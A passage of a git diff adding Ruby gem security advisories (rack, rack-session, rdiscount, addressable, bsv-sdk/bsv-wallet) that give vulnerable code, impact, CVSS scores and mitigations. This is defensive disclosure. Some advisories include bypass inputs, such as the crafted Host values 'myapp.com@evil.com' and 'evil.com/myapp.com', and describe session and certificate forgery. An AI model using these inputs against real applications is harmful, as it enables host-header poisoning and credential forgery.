Rack. One realistic case is a reverse proxy + configuration that intends to set `X-Accel-Mapping` itself, but + fails to do so on some routes, allowing a client-supplied header + to pass through unchanged. + + ## Impact + + Applications using `Rack::Sendfile` with `x-accel-redirect` may + be affected if the backend accepts attacker-controlled + `X-Accel-Mapping` headers. + + In affected deployments, an attacker may be able to control the + `X-Accel-Redirect` response header and cause nginx to serve files + from internal locations that were not intended to be reachable + through the application. This can lead to unauthorized file disclosure. + + The practical impact depends on deployment architecture. If the + proxy always strips or overwrites `X-Accel-Mapping`, or if the + application uses explicit configured mappings instead of the + request header, exploitability may be eliminated. + + ## Mitigation + + * Update to a patched version of Rack that treats header-supplied + `X-Accel-Mapping` values as literal strings rather than regular expressions. + * Strip or overwrite inbound `X-Accel-Mapping` headers at the + reverse proxy so client-supplied values never reach Rack. + * Prefer explicit application-configured sendfile mappings + instead of relying on request-header mappings. + * Review proxy sub-locations and inherited header settings to + ensure `X-Accel-Mapping` is consistently set on all backend routes. + cvss_v3: 5.9 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34830 + - https://github.com/rack/rack/security/advisories/GHSA-qv7j-4883-hwh7 + - https://github.com/advisories/GHSA-qv7j-4883-hwh7 +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34831.md b/advisories/_posts/2026-04-02-CVE-2026-34831.md new file mode 100644 index 00000000..34bbe449 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34831.md @@ -0,0 +1,102 @@ +--- +layout: advisory +title: 'CVE-2026-34831 (rack): Rack has Content-Length mismatch in Rack::Files error + responses' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34831 + ghsa: q2ww-5357-x388 + url: https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388 + title: Rack has Content-Length mismatch in Rack::Files error responses + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Files#fail` sets the `Content-Length` response header using + `String#size` instead of `String#bytesize`. When the response body + contains multibyte UTF-8 characters, the declared `Content-Length` + is smaller than the number of bytes actually sent on the wire. + + Because `Rack::Files` reflects the requested path in 404 responses, + an attacker can trigger this mismatch by requesting a non-existent + path containing percent-encoded UTF-8 characters. + + This results in incorrect HTTP response framing and may cause + response desynchronization in deployments that rely on the + incorrect `Content-Length` value. + + ## Details + + `Rack::Files#fail` constructs error responses using logic equivalent to: + + ```ruby + def fail(status, body, headers = {}) + body += " + " + [ + status, + { + "content-type" => "text/plain", + "content-length" => body.size.to_s, + "x-cascade" => "pass" + }.merge!(headers), + [body] + ] + end + ``` + + Here, `body.size` returns the number of characters, not the number + of bytes. For multibyte UTF-8 strings, this produces an incorrect + `Content-Length` value. + + `Rack::Files` includes the decoded request path in 404 responses. + A request containing percent-encoded UTF-8 path components therefore + causes the response body to contain multibyte characters, while + the `Content-Length` header still reflects character count rather + than byte count. + + As a result, the server can send more bytes than declared in + the response headers. + + This violates HTTP message framing requirements, which define + `Content-Length` as the number of octets in the message body. + + ## Impact + + Applications using `Rack::Files` may emit incorrectly framed error + responses when handling requests for non-existent paths containing + multibyte characters. + + In some deployment topologies, particularly with keep-alive connections + and intermediaries that rely on `Content-Length`, this mismatch + may lead to response parsing inconsistencies or response + desynchronization. The practical exploitability depends on the + behavior of downstream proxies, clients, and connection reuse. + + Even where no secondary exploitation is possible, the response is + malformed and may trigger protocol errors in strict components. + + ## Mitigation + + * Update to a patched version of Rack that computes `Content-Length` + using `String#bytesize`. + * Avoid exposing `Rack::Files` directly to untrusted traffic until + a fix is available, if operationally feasible. + * Where possible, place Rack behind a proxy or server that normalizes + or rejects malformed backend responses. + * Prefer closing backend connections on error paths if response + framing anomalies are a concern. + cvss_v3: 4.8 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34831 + - https://github.com/rack/rack/security/advisories/GHSA-q2ww-5357-x388 + - https://github.com/advisories/GHSA-q2ww-5357-x388 +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34835.md b/advisories/_posts/2026-04-02-CVE-2026-34835.md new file mode 100644 index 00000000..995630e3 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34835.md @@ -0,0 +1,130 @@ +--- +layout: advisory +title: 'CVE-2026-34835 (rack): Rack::Request accepts invalid Host characters, enabling + host allowlist bypass' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34835 + ghsa: g2pf-xv49-m2h5 + url: https://github.com/rack/rack/security/advisories/GHSA-g2pf-xv49-m2h5 + title: Rack::Request accepts invalid Host characters, enabling host allowlist bypass + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Request` parses the `Host` header using an `AUTHORITY` regular + expression that accepts characters not permitted in RFC-compliant + hostnames, including `/`, `?`, `#`, and `@`. Because `req.host` + returns the full parsed value, applications that validate hosts + using naive prefix or suffix checks can be bypassed. + + For example, a check such as `req.host.start_with?("myapp.com")` can + be bypassed with `Host: myapp.com@evil.com`, and a check such as + `req.host.end_with?("myapp.com")` can be bypassed with + `Host: evil.com/myapp.com`. + + This can lead to host header poisoning in applications that use + `req.host`, `req.url`, or `req.base_url` for link generation, + redirects, or origin validation. + + ## Details + + `Rack::Request` parses the authority component using logic equivalent to: + + ```ruby + AUTHORITY = / + \A + (? + \[(?
#{ipv6})\] + | + (?
[[[:graph:]&&[^\[\]]]]*?) + ) + (:(?\d+))? + \z + /x + ``` + + The character class used for non-IPv6 hosts accepts nearly all + printable characters except `[` and `]`. This includes reserved + URI delimiters such as `@`, `/`, `?`, and `#`, which are not + valid hostname characters under RFC 3986 host syntax. + + As a result, values such as the following are accepted and returned + through `req.host`: + + ```text + myapp.com@evil.com + evil.com/myapp.com + evil.com#myapp.com + ``` + + Applications that attempt to allowlist hosts using string prefix or + suffix checks may therefore treat attacker-controlled hosts as + trusted. For example: + + ```ruby + req.host.start_with?("myapp.com") + ``` + + accepts: + + ```text + myapp.com@evil.com + ``` + + and: + + ```ruby + req.host.end_with?("myapp.com") + ``` + + accepts: + + ```text + evil.com/myapp.com + ``` + + When those values are later used to build absolute URLs or enforce + origin restrictions, the application may produce attacker-controlled + results. + + ## Impact + + Applications that rely on `req.host`, `req.url`, or `req.base_url` + may be affected if they perform naive host validation or assume + Rack only returns RFC-valid hostnames. + + In affected deployments, an attacker may be able to bypass host + allowlists and poison generated links, redirects, or origin-dependent + security decisions. This can enable attacks such as password reset + link poisoning or other host header injection issues. + + The practical impact depends on application behavior. If the + application or reverse proxy already enforces strict host validation, + exploitability may be reduced or eliminated. + + ## Mitigation + + * Update to a patched version of Rack that rejects invalid + authority characters in `Host`. + * Enforce strict `Host` header validation at the reverse proxy + or load balancer. + * Do not rely on prefix or suffix string checks such as + `start_with?` or `end_with?` for host allowlisting. + * Use exact host allowlists, or exact subdomain boundary checks, + after validating that the host is syntactically valid. + cvss_v3: 4.8 + unaffected_versions: + - "< 3.0.0.beta1" + patched_versions: + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34835 + - https://github.com/rack/rack/security/advisories/GHSA-g2pf-xv49-m2h5 + - https://github.com/advisories/GHSA-g2pf-xv49-m2h5 +--- diff --git a/advisories/_posts/2026-04-06-CVE-2026-35201.md b/advisories/_posts/2026-04-06-CVE-2026-35201.md new file mode 100644 index 00000000..5be9bd21 --- /dev/null +++ b/advisories/_posts/2026-04-06-CVE-2026-35201.md @@ -0,0 +1,132 @@ +--- +layout: advisory +title: 'CVE-2026-35201 (rdiscount): rdiscount has an Out-of-bounds Read' +comments: false +categories: +- rdiscount +advisory: + gem: rdiscount + cve: 2026-35201 + ghsa: 6r34-94wq-jhrc + url: https://github.com/davidfstr/rdiscount/security/advisories/GHSA-6r34-94wq-jhrc + title: rdiscount has an Out-of-bounds Read + date: 2026-04-06 + description: |- + ### Summary + + A signed length truncation bug causes an out-of-bounds read in the + default Markdown parse path. Inputs larger than `INT_MAX` are truncated + to a signed `int` before entering the native parser, allowing the + parser to read past the end of the supplied buffer and crash the process. + + ### Details + + In both public entry points: + + - `ext/rdiscount.c:97` + - `ext/rdiscount.c:136` + + `RSTRING_LEN(text)` is passed directly into `mkd_string()`: + + ```c + MMIOT *doc = mkd_string(RSTRING_PTR(text), + RSTRING_LEN(text), flags); + ``` + + `mkd_string()` accepts `int len`: + + - `ext/mkdio.c:174` + + ```c + Document + * mkd_string(const char *buf, int len, mkd_flag_t flags) + { + struct string_stream about; + + about.data = buf; + about.size = len; + + return populate((getc_func)__mkd_io_strget, &about, flags & INPUT_MASK); + } + ``` + + The parser stores the remaining input length in a signed `int`: + + - `ext/markdown.h:205` + + ```c + struct string_stream { + const + char *data; + int size; + }; + ``` + + The read loop stops only when `size == 0`: + + - `ext/mkdio.c:161` + + ```c + int __mkd_io_strget(struct string_stream *in) + { + if ( !in->size ) return EOF; + + --(in->size); + + return *(in->data)++; + } + ``` + + If the Ruby string length exceeds `INT_MAX`, the value can truncate + to a negative `int`. In that state, the parser continues incrementing + `data` and reading past the end of the original Ruby string, causing + an out-of-bounds read and native crash. + + Affected APIs: + + - `RDiscount.new(input).to_html` + - `RDiscount.new(input).toc_content` + + ### Impact + + This is an out-of-bounds read with the main issue being reliable + denial-of-service. Impacted is limited to deployments parses + attacker-controlled Markdown and permits multi-GB inputs. + + ### Fix + + just add a checked length guard before the `mkd_string()` + call in both public entry points: + + - `ext/rdiscount.c:97` + - `ext/rdiscount.c:136` + ex: + + ```c + VALUE text = rb_funcall(self, rb_intern(\"text\"), 0); + long text_len = RSTRING_LEN(text); + VALUE buf = rb_str_buf_new(1024); + Check_Type(text, T_STRING); + + if (text_len > INT_MAX) { + rb_raise(rb_eArgError, \"markdown input too large\"); + } + + MMIOT *doc = mkd_string(RSTRING_PTR(text), (int)text_len, flags); + ``` + + The same guard should be applied in `rb_rdiscount_toc_content()` + before its `mkd_string()` call. + cvss_v3: 5.9 + unaffected_versions: + - "< 1.3.1.1" + patched_versions: + - ">= 2.2.7.4" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-35201 + - https://github.com/davidfstr/rdiscount/security/advisories/GHSA-6r34-94wq-jhrc + - http://github.com/davidfstr/rdiscount/releases/tag/2.2.7.4 + - https://github.com/davidfstr/rdiscount/commit/b1a16445e92e0d12c07594dedcdc56f80b317761 + - https://github.com/advisories/GHSA-6r34-94wq-jhrc +--- diff --git a/advisories/_posts/2026-04-08-CVE-2026-35611.md b/advisories/_posts/2026-04-08-CVE-2026-35611.md new file mode 100644 index 00000000..5216fc60 --- /dev/null +++ b/advisories/_posts/2026-04-08-CVE-2026-35611.md @@ -0,0 +1,113 @@ +--- +layout: advisory +title: 'CVE-2026-35611 (addressable): Addressable has a Regular Expression Denial + of Service in Addressable templates' +comments: false +categories: +- addressable +advisory: + gem: addressable + cve: 2026-35611 + ghsa: h27x-rffw-24p4 + url: https://github.com/sporkmonger/addressable/security/advisories/GHSA-h27x-rffw-24p4 + title: Addressable has a Regular Expression Denial of Service in Addressable templates + date: 2026-04-08 + description: |- + ### Impact + + Within the URI template implementation in Addressable, two classes + of URI template generate regular expressions vulnerable to + catastrophic backtracking: + + 1. Templates using the `*` (explode) modifier with any expansion + operator (e.g., `{foo*}`, `{+var*}`, `{#var*}`, `{/var*}`, + `{.var*}`, `{;var*}`, `{?var*}`, `{&var*}`) generate patterns + with nested unbounded quantifiers that are O(2^n) when matched + against a maliciously crafted URI. + + 2. Templates using multiple variables with the `+` or `#` operators + (e.g., `{+v1,v2,v3}`) generate patterns with O(n^k) complexity + due to the comma separator being within the matched character + class, causing ambiguous backtracking across k variables. + + When matched against a maliciously crafted URI, this can result + in catastrophic backtracking and uncontrolled resource consumption, + leading to denial of service. The first pattern was partially + addressed in 2.8.10 for certain operator combinations. Both patterns + are fully remediated in 2.9.0. + + Users of the URI parsing capabilities in Addressable but not + the URI template matching capabilities are unaffected. + + ### Affected Versions + + This vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and + 2.3.1 were yanked; the earliest installable release is 2.3.2). + It was partially fixed in version 2.8.10 and fully remediated in 2.9.0. + + The vulnerability is more exploitable on MRI Ruby < 3.2 and on all + versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with + Onigmo 6.9, which introduces memoization that prevents catastrophic + backtracking for the first class of template. JRuby and TruffleRuby + do not implement equivalent memoization and remain vulnerable + to all patterns. + + This has been confirmed on the following runtimes: + + | Runtime | Status | + |--------------|--------| + | MRI Ruby 2.6 | Vulnerable | + | MRI Ruby 2.7 | Vulnerable | + | MRI Ruby 3.0 | Vulnerable | + | MRI Ruby 3.1 | Vulnerable | + | MRI Ruby 3.2 | Partially vulnerable | + | MRI Ruby 3.3 | Partially vulnerable | + | MRI Ruby 3.4 | Partially vulnerable | + | MRI Ruby 4.0 | Partially vulnerable | + | JRuby 10.0 | Vulnerable | + | TruffleRuby 21.2 | Vulnerable | + + ### Workarounds + + - **Upgrade to MRI Ruby 3.2 or later**, if your application does + not use JRuby or TruffleRuby. The Onigmo memoization introduced + in MRI Ruby 3.2 prevents catastrophic backtracking from nested + unbounded quantifiers (pattern 1 above — templates using the `*` + modifier). It does not reliably mitigate the O(n^k) multi-variable + case (pattern 2), so upgrading Ruby alone may not be sufficient + if your templates use `{+v1,v2,...}` or `{#v1,v2,...}` syntax. + + - **Avoid using vulnerable template patterns** when matching + user-supplied input on unpatched versions of the library: + + - Templates using the `*` (explode) modifier: `{foo*}`, `{+var*}`, + `{#var*}`, `{.var*}`, `{/var*}`, `{;var*}`, `{?var*}`, `{&var*}` + + - Templates using multiple variables with the `+` or `#` + operators: `{+v1,v2}`, `{#v1,v2,v3}`, etc. + + - **Apply a short timeout** around any call to `Template#match` + or `Template#extract` that processes user-supplied data. + + ### Credits + + Discovered in collaboration with @jamfish. + + ### For more information + + If you have any questions or comments about this advisory: + * [Open an issue](https://github.com/sporkmonger/addressable/issues) + cvss_v3: 7.5 + unaffected_versions: + - "< 2.3.0" + patched_versions: + - ">= 2.9.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-35611 + - https://github.com/sporkmonger/addressable/security/advisories/GHSA-h27x-rffw-24p4 + - https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS + - https://cwe.mitre.org/data/definitions/1333.html + - https://www.regular-expressions.info/catastrophic.html + - https://github.com/advisories/GHSA-h27x-rffw-24p4 +--- diff --git a/advisories/_posts/2026-04-08-CVE-2026-39324.md b/advisories/_posts/2026-04-08-CVE-2026-39324.md new file mode 100644 index 00000000..ea734d7a --- /dev/null +++ b/advisories/_posts/2026-04-08-CVE-2026-39324.md @@ -0,0 +1,83 @@ +--- +layout: advisory +title: 'CVE-2026-39324 (rack-session): Rack::Session::Cookie secrets: decrypt failure + fallback enables secretless session forgery and Marshal deserialization' +comments: false +categories: +- rack-session +advisory: + gem: rack-session + cve: 2026-39324 + ghsa: 33qg-7wpp-89cq + url: https://github.com/rack/rack-session/security/advisories/GHSA-33qg-7wpp-89cq + title: 'Rack::Session::Cookie secrets: decrypt failure fallback enables secretless + session forgery and Marshal deserialization' + date: 2026-04-08 + description: |- + 'Rack::Session::Cookie incorrectly handles decryption failures when + configured with `secrets:`. If cookie decryption fails, the + implementation falls back to a default decoder instead of rejecting + the cookie. This allows an unauthenticated attacker to supply a + crafted session cookie that is accepted as valid session data + without knowledge of any configured secret. + + Because this mechanism is used to load session state, an attacker + can manipulate session contents and potentially gain unauthorized access. + + ## Details + + When `secrets:` is configured, `Rack::Session::Cookie` attempts to + decrypt incoming session cookies using one of the configured encryptors. + If all decrypt attempts fail, the implementation does not reject + the cookie. Instead, it falls back to decoding the cookie using + a default coder. + + This fallback path processes attacker-controlled cookie data as + trusted session state. The behavior is implicit and occurs even + when encrypted cookies are expected. + + The fallback decoder is applied automatically and does not require + the application to opt into a non-encrypted session format. As a + result, a client can send a specially crafted cookie value that + bypasses the intended integrity protections provided by `secrets:`. + + This issue affects both default configurations and those using + alternative serializers for encrypted payloads. + + ## Impact + + Any Rack application using `Rack::Session::Cookie` with + `secrets:` may be affected. + + > [!NOTE] + > Rails applications are typically not affected — Rails uses + > `ActionDispatch::Session::CookieStore`, which is a separate + > implementation backed by `ActiveSupport::MessageEncryptor` + > and does not share the vulnerable code path. + + An unauthenticated attacker can supply a crafted session cookie + that is accepted as valid session data. This can lead to authentication + bypass or privilege escalation in applications that rely on session + values for identity or authorization decisions. + + Depending on application behavior and available runtime components, + processing of untrusted session data may also expose additional risks. + + ## Mitigation + + * Update to a patched version of `rack-session` that rejects cookies + when decryption fails under the `secrets:` configuration. + * After updating, rotate session secrets to invalidate existing + session cookies, since attacker-supplied session data may have + been accepted and re-issued prior to the fix.' + cvss_v4: 9.3 + unaffected_versions: + - "< 2.0.0" + patched_versions: + - ">= 2.1.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-39324 + - https://github.com/rack/rack-session/security/advisories/GHSA-33qg-7wpp-89cq + - https://github.com/advisories/GHSA-33qg-7wpp-89cq +--- diff --git a/advisories/_posts/2026-04-09-CVE-2026-40069.md b/advisories/_posts/2026-04-09-CVE-2026-40069.md new file mode 100644 index 00000000..cdf1d970 --- /dev/null +++ b/advisories/_posts/2026-04-09-CVE-2026-40069.md @@ -0,0 +1,155 @@ +--- +layout: advisory +title: 'CVE-2026-40069 (bsv-sdk): bsv-sdk ARC broadcaster treats INVALID/MALFORMED/ORPHAN + responses as successful broadcasts' +comments: false +categories: +- bsv-sdk +advisory: + gem: bsv-sdk + cve: 2026-40069 + ghsa: 9hfr-gw99-8rhx + url: https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-9hfr-gw99-8rhx + title: bsv-sdk ARC broadcaster treats INVALID/MALFORMED/ORPHAN responses as successful + broadcasts + date: 2026-04-09 + description: |- + # ARC broadcaster treats failure statuses as successful broadcasts + + ## Summary + + `BSV::Network::ARC`'s failure detection only recognises `REJECTED` + and `DOUBLE_SPEND_ATTEMPTED`. ARC responses with `txStatus` values + of `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, or any + `ORPHAN`-containing `extraInfo` / `txStatus` are silently treated + as successful broadcasts. Applications that gate actions on broadcaster + success are tricked into trusting transactions that were never + accepted by the network. + + ## Details + + `lib/bsv/network/arc.rb` (lines ~74-100 in the affected code) uses a + narrow failure predicate compared to the TypeScript reference SDK. + The TS broadcaster additionally recognises: + + - `INVALID` + - `MALFORMED` + - `MINED_IN_STALE_BLOCK` + - Any response containing `ORPHAN` in `extraInfo` or `txStatus` + + The Ruby implementation omits all of these, so ARC responses + carrying any of these statuses are returned to the caller as + successful broadcasts. + + Additional divergences in the same module compound the risk: + + - `Content-Type` is sent as `application/octet-stream`; the TS + reference sends `application/json` with a `{ rawTx: }` + body (EF form where source transactions are available). + - The headers `XDeployment-ID`, `X-CallbackUrl`, and `X-CallbackToken` + are not sent. + + The immediate security-relevant defect is the missing failure + statuses; the other divergences are fixed in the same patch for + protocol compliance. + + ## Impact + + Integrity: callers receive a success response for broadcasts that + were actually rejected by the ARC endpoint. Applications and + downstream gems that gate actions on broadcaster success — releasing + goods, marking invoices paid, treating a token as minted, progressing + a workflow — are tricked into trusting transactions that were never broadcast. + + This is an integrity bug with security consequences. It does not + disclose information (confidentiality unaffected) and does not + affect availability. + + ## CVSS rationale + + `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` → **7.5 (High)** + + - **AV:N** — network-reachable. + - **AC:L** — no specialised access conditions are required. Triggering + any of the unhandled failure statuses is not meaningfully harder + than broadcasting a transaction at all: a malformed or invalid + transaction, an orphan condition from a transient fork, or a + hostile/misbehaving ARC endpoint returning one of these statuses + is sufficient. The attacker does not need to defeat any mitigation + or race a specific window — the bug is that the code path doesn't + exist at all. + - **PR:N** — no privileges required. + - **UI:N** — no user interaction. + - **C:N** — no confidentiality impact. + - **I:H** — downstream integrity decisions are taken on + non-broadcast transactions. + - **A:N** — no availability impact. + + ## Affected versions + + The ARC broadcaster was introduced in commit `a1f2e62` ("feat(network): + add ARC broadcaster with injectable HTTP client") on 2026-02-08 and + first released in **v0.1.0**. The narrow failure predicate has been + present since introduction. Every release up to and including **v0.8.1** + is affected. + + Affected range: `>= 0.1.0, < 0.8.2`. + + ## Patches + + Upgrade to `bsv-sdk >= 0.8.2`. The fix: + + - Expands the failure predicate (`REJECTED_STATUSES` + `ORPHAN` + substring check on both `txStatus` and `extraInfo`) to include + `INVALID`, `MALFORMED`, `MINED_IN_STALE_BLOCK`, and any + orphan-containing response, matching the TypeScript reference. + - Switches `Content-Type` to `application/json` with a `{ rawTx: }` + body, preferring Extended Format (BRC-30) hex when every input has + `source_satoshis` and `source_locking_script` populated and falling + back to plain raw-tx hex otherwise. + - Adds support for the `XDeployment-ID` (default: random + `bsv-ruby-sdk-`), `X-CallbackUrl`, and `X-CallbackToken` + headers via new constructor keyword arguments. + + Fixed in sgbett/bsv-ruby-sdk#306. + + ### Note for `bsv-wallet` consumers + + The sibling gem `bsv-wallet` (published from the same repository) is + not independently vulnerable — `lib/bsv/network/arc.rb` is not bundled + into the wallet gem's `files` list. However, `bsv-wallet` runtime-depends + on `bsv-sdk`, so a consumer of `bsv-wallet` that also invokes the + ARC broadcaster is transitively exposed whenever `Gemfile.lock` + resolves to a vulnerable `bsv-sdk` version. `bsv-wallet >= 0.3.4` + tightens its `bsv-sdk` constraint to `>= 0.8.2, < 1.0`, so upgrading + either gem is sufficient to pull in the fix. + + ## Workarounds + + If upgrading is not immediately possible: + + - Verify broadcast results out-of-band (e.g. query a block explorer + or WhatsOnChain) before treating a transaction as broadcast. + - Do not gate integrity-critical actions solely on the ARC + broadcaster's success response. + + ## Credit + + Identified during the 2026-04-08 cross-SDK compliance review, + tracked as finding F5.13. + cvss_v3: 7.5 + unaffected_versions: + - "< 0.1.0" + patched_versions: + - ">= 0.8.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-40069 + - https://github.com/sgbett/bsv-ruby-sdk/releases/tag/v0.8.2 + - https://github.com/sgbett/bsv-ruby-sdk/pull/306 + - https://github.com/sgbett/bsv-ruby-sdk/commit/4992e8a265fd914a7eeb0405c69d1ff0122a84cc + - https://github.com/sgbett/bsv-ruby-sdk/issues/305 + - https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-9hfr-gw99-8rhx + - https://advisories.gitlab.com/pkg/gem/bsv-sdk/CVE-2026-40069 + - https://github.com/advisories/GHSA-9hfr-gw99-8rhx +--- diff --git a/advisories/_posts/2026-04-09-CVE-2026-40070.md b/advisories/_posts/2026-04-09-CVE-2026-40070.md new file mode 100644 index 00000000..fbfc5792 --- /dev/null +++ b/advisories/_posts/2026-04-09-CVE-2026-40070.md @@ -0,0 +1,221 @@ +--- +layout: advisory +title: 'CVE-2026-40070 (bsv-wallet): bsv-sdk and bsv-wallet persist unverified certifier + signatures in acquire_certificate (direct and issuance paths)' +comments: false +categories: +- bsv-wallet +advisory: + gem: bsv-wallet + cve: 2026-40070 + ghsa: hc36-c89j-5f4j + url: https://github.com/sgbett/bsv-ruby-sdk/security/advisories/GHSA-hc36-c89j-5f4j + title: bsv-sdk and bsv-wallet persist unverified certifier signatures in acquire_certificate + (direct and issuance paths) + date: 2026-04-09 + description: |- + # Unverified certifier signatures persisted by `acquire_certificate` + + ## Affected packages + + Both `bsv-sdk` and `bsv-wallet` are published from the + [sgbett/bsv-ruby-sdk](https://github.com/sgbett/bsv-ruby-sdk) + repository. The vulnerable code lives in + `lib/bsv/wallet_interface/wallet_client.rb`, which is **physically + shipped inside both gems** (the `bsv-wallet.gemspec` `files` list + bundles the entire `lib/bsv/wallet_interface/` tree). Consumers + of either gem are independently vulnerable; the two packages + are versioned separately, so each has its own affected range. + + | Package | Affected | Patched | + | --- | --- | --- | + | `bsv-sdk` | `>= 0.3.1, < 0.8.2` | `0.8.2` | + | `bsv-wallet` | `>= 0.1.2, < 0.3.4` | `0.3.4` | + + ## Summary + + `BSV::Wallet::WalletClient#acquire_certificate` persists certificate + records to storage **without verifying the certifier's signature** + over the certificate contents. Both acquisition paths are affected: + + - `acquisition_protocol: 'direct'` — the caller supplies all + certificate fields (including `signature:`) and the record + is written to storage verbatim. + - `acquisition_protocol: 'issuance'` — the client POSTs to a + certifier URL and writes whatever signature the response body + contains, also without verification. + + An attacker who can reach either API (or who controls a certifier + endpoint targeted by the issuance path) can forge identity + certificates that subsequently appear authentic to `list_certificates` + and `prove_certificate`. + + ## Details + + BRC-52 requires a certificate's `signature` field to be verified + against the claimed certifier's public key over a canonical hashing + of `(type, subject, serialNumber, revocationOutpoint, fields)` + before the certificate is trusted. The reference TypeScript SDK + enforces this in `Certificate.verify()`. + + ### Direct path + + The Ruby implementation's `acquire_via_direct` path + (`lib/bsv/wallet_interface/wallet_client.rb`) constructs the + certificate record directly from caller-supplied fields: + + ```ruby + def acquire_via_direct(args) + { + type: args[:type], + subject: @key_deriver.identity_key, + serial_number: args[:serial_number], + certifier: args[:certifier], + revocation_outpoint: args[:revocation_outpoint], + signature: args[:signature], + fields: args[:fields], + keyring: args[:keyring_for_subject] + } + end + ``` + + The returned record is then written to the storage adapter by + `acquire_certificate`. No verification of `args[:signature]` + against `args[:certifier]`'s public key occurs at any point in this path. + + ### Issuance path + + `acquire_via_issuance` POSTs to a certifier-supplied URL and parses + the response body into a certificate record, which is then written + to storage without verifying the returned signature. A hostile or + compromised certifier endpoint — or anyone able to redirect/MITM + the plain HTTP request — can therefore return an arbitrary `signature` + value for any subject and have it stored as authentic. This is the + same class of bypass as the direct path; it was tracked separately + as finding **F8.16** in the compliance review and is closed by the same fix. + + ### Downstream impact + + Downstream reads via `list_certificates` and selective-disclosure + via `prove_certificate` treat stored records as valid without + re-verifying, so any forgery that slips past `acquire_certificate` + is trusted permanently. + + ## Impact + + Any caller that can invoke `acquire_certificate` — via either + acquisition protocol — can forge a certificate attributed to an + arbitrary certifier identity key, containing arbitrary fields, + and have it persisted as authentic. Applications and downstream + gems that rely on the wallet's certificate store as a source of + truth for identity attributes (e.g. KYC assertions, role claims, + attestations) are subject to credential forgery. + + This is a credential-forgery primitive, not merely a spec + divergence from BRC-52. + + ## CVSS rationale + + `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` → **8.1 (High)** + + - **AV:N** — network-reachable in any wallet context that + exposes `acquire_certificate` to callers. + - **AC:L** — low attack complexity: pass arbitrary bytes as `signature:`. + - **PR:L** — low privileges: any caller authorised to invoke + `acquire_certificate`. + - **UI:N** — no user interaction required. + - **C:H** — forged credentials via `prove_certificate` can + assert attributes about the subject. + - **I:H** — the wallet's credential store is polluted with + attacker-controlled data. + - **A:N** — availability unaffected. + + ## Affected versions + + The vulnerable direct-path code was introduced in commit `d14dd19` + ("feat(wallet): implement BRC-100 identity certificate methods + (Phase 5)") on 2026-03-27 20:35 UTC. The vulnerable issuance-path + code was added one day later in `6a4d898` ("feat(wallet): implement + certificate issuance protocol", 2026-03-28 04:38 UTC), which + removed an earlier `raise UnsupportedActionError` and replaced + it with an unverified HTTP POST. + + **`bsv-sdk`:** the v0.3.1 chore bump (`89de3a2`) was committed + 8 minutes after `d14dd19`, so the direct-path bypass shipped in + the **v0.3.1** tag. The v0.3.1 release raised `UnsupportedActionError` + for the issuance path, so the issuance-path bypass first shipped + in **v0.3.2** (`5a335de`). Every subsequent release up to and + including **v0.8.1** is affected by at least one path, and every + release from v0.3.2 onwards is affected by both. Combined + affected range: `>= 0.3.1, < 0.8.2`. + + **`bsv-wallet`:** at the time both commits landed, the wallet + gem was at version 0.1.1. The first wallet release containing + any of the vulnerable code was **v0.1.2** (`5a335de`, 2026-03-30), + which shipped both paths simultaneously. Every subsequent release + up to and including **v0.3.3** is affected on both paths. + Affected range: `>= 0.1.2, < 0.3.4`. + + ## Patches + + Upgrade to `bsv-sdk >= 0.8.2` **and/or** `bsv-wallet >= 0.3.4`. + Both releases ship the same fix: a new module + `BSV::Wallet::CertificateSignature` + (`lib/bsv/wallet_interface/certificate_signature.rb`), which builds + the BRC-52 canonical preimage (`type`, `serial_number`, `subject`, + `certifier`, `revocation_outpoint`, lexicographically-sorted `fields`) + and verifies the certifier's signature against it via + `ProtoWallet#verify_signature` with protocol ID `[2, 'certificate signature']` + and counterparty = the claimed certifier's public key. Both + `acquire_via_direct` and `acquire_via_issuance` now call + `CertificateSignature.verify!` before returning the certificate to + `acquire_certificate`, so invalid certificates raise + `BSV::Wallet::CertificateSignature::InvalidError` (a subclass of + `InvalidSignatureError`) and are never written to storage. + + Consumers should upgrade whichever gem they depend on directly; + they do not need both. `bsv-wallet 0.3.4` additionally tightens + its dependency on `bsv-sdk` from the stale `~> 0.4` to + `>= 0.8.2, < 1.0`, which forces the known-good pairing and pulls + in the sibling advisory fixes (F1.3, F5.13) tracked separately. + + The issuance-path fix also partially closes finding **F8.16** from + the same compliance review. F8.16's second aspect — switching the + issuance transport from ad-hoc JSON POST to BRC-104 AuthFetch — is + not addressed here and remains deferred to a future release. + + Fixed in sgbett/bsv-ruby-sdk#306. + + ## Workarounds + + If upgrading is not immediately possible: + + - Do not expose `acquire_certificate` (either acquisition + protocol) to untrusted callers. + - Do not invoke `acquire_certificate` with `acquisition_protocol: + 'issuance'` against a certifier URL you do not fully trust, and + require TLS for any such request. + - Treat any record returned by `list_certificates` / `prove_certificate` + as unverified and perform an out-of-band BRC-52 verification against + the certifier's public key before acting on it. + + ## Credit + + Identified during the 2026-04-08 cross-SDK compliance review, + tracked as findings F8.15 (direct path) and F8.16 (issuance path, partial). + cvss_v3: 8.1 + unaffected_versions: + - "< 